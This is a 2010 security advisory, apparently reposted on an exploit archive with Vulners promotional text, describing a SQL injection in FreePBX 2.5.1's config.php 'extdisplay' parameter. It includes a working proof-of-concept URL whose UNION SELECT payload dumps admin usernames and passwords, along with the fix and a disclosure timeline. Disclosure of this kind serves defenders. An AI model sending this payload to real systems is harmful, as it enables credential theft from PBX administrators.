==============================
SQL injection in FreePBX 2.5.1
==============================
Advisory Name: SQL injection in FreePBX 2.5.1
Internal Cybsec Advisory Id: 2010-0103
Vulnerability Class: SQL injection
Release Date: 15/01/2010
Affected Applications: Confirmed in FreePBX 2.5.1. Other versions may also
be affected.
Affected Platforms: Any running FreePBX 2.5.1
Local / Remote: Remote
Severity: Medium – CVSS 6.3 (AV:N/AC:M/Au:S/C:C/I:N/A:N)
Researcher: Ivan Huertas
Vendor Status: To be confirmed
Reference to Vulnerability Disclosure Policy:
http://www.cybsec.com/vulnerability_policy.pdf
Vulnerability Description:
A vulnerability has been discovered in FreePBX, which can be exploited by
malicious people to conduct SQL injection attacks.
Input passed via the "extdisplay" parameter to config.php is not properly
sanitized before being used in a SQL query. This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.
The vulnerability is confirmed in version 2.5.1 Other versions may also be
affected.
Proof of Concept:
http://xxx.xxx.xxx.xxx/admin/config.php?display=did&didfilter=&extdisplay=12%22%20union%20select%20username,password,sections,%221%22,%222%22,%223%22,%224%22,%225%22,%226%22,%227%22,%228%22,%229%22,%2210%22,%2211%22,%2212%22%20from%20ampusers%20where%20%22%22=%22
Impact:
Execute arbitrary SQL queries.
Solution:
Update to FreePBX 2.5.2 or greater
• http://www.freepbx.org/trac/changeset/7594
• http://www.freepbx.org/trac/changeset/7640
Vendor Response:
2009-30-12 – Vulnerability was identified
2010-01-07 – Vendor contacted
2010-01-15 – Vulnerability published
Patches were available before the vulnerability was discovered.
# 0day.today [2018-04-03] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation